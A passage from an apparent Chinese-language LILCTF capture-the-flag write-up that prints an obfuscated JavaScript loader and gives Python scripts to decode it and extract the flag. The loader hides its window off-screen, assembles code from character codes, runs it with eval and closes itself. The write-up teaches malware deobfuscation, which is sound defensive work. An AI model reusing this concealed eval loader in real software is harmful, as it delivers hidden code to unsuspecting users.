kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>
"""

# 提取所有变量赋值
var_pattern = r'([A-Za-z]{2})=(\d+);'
var_matches = re.findall(var_pattern, obfuscated_js)
var_dict = {name: int(value) for name, value in var_matches}

# 提取String.fromCharCode的参数列表
arg_pattern = r'String\.fromCharCode\(([^)]*)\);'
arg_match = re.search(arg_pattern, obfuscated_js, re.DOTALL)

if not arg_match:
    print("参数列表未找到!")
    exit()

arg_str = arg_match.group(1)

# 清理参数列表(移除换行和空格)
clean_args = re.sub(r'\s+', '', arg_str)
args = clean_args.split(',')

# 将变量名转换为对应的ASCII值
ascii_values = []
for arg in args:
    if arg in var_dict:
        ascii_values.append(var_dict[arg])
    else:
        print(f"警告: 变量 {arg} 未定义")

# 将ASCII值转换为字符串
decoded_str = ''.join(chr(code) for code in ascii_values)

# 查找flag
flag_pattern = r'LILCTF\{[^}]+\}'
flag_match = re.search(flag_pattern, decoded_str)

if flag_match:
    flag = flag_match.group(0)
    print(f"找到flag: {flag}")
else:
    print("未找到flag,以下是解码后的字符串:")
    print(decoded_str)

得到

接着嗦

得到

import re

# 所有JS变量定义到ASCII值的映射字典
var_map = {
    'SK': 102, 'UP': 117, 'tV': 110, 'Fx': 99, 'nI': 116, 'pV': 105,
    'wt': 111, 'RV': 32, 'wV': 82, 'Rp': 106, 'kz': 81, 'CX': 78,
    'GH': 40, 'PS': 70, 'YO': 86, 'kF': 75, 'PO': 113, 'QF': 41,
    'sZ': 123, 'nd': 118, 'Ge': 97, 'sV': 114, 'wl': 104, 'NL': 121,
    'Ep': 76, 'uS': 98, 'Lj': 103, 'ST': 61, 'Ix': 34, 'Im': 59,
    'Gm': 101, 'YZ': 109, 'Xj': 71, 'Fi': 48, 'dL': 60, 'cX': 46,
    'ho': 108, 'jF': 43, 'Gg': 100, 'aV': 90, 'uD': 67, 'Nj': 83,
    'US': 91, 'tg': 93, 'vx': 45, 'xv': 54, 'QB': 49, 'WT': 125,
    'FT': 55, 'yN': 51, 'ff': 44, 'it': 50, 'NW': 53, 'kX': 57,
    'zN': 52, 'Mb': 56, 'Wn': 119, 'sC': 65, 'Yp': 88, 'FF': 79
}

# 提取所有变量赋值语句
js_code = """<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,FT,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,QB,FT,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,xv,zN,QB,ff,RV,xv,zN,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,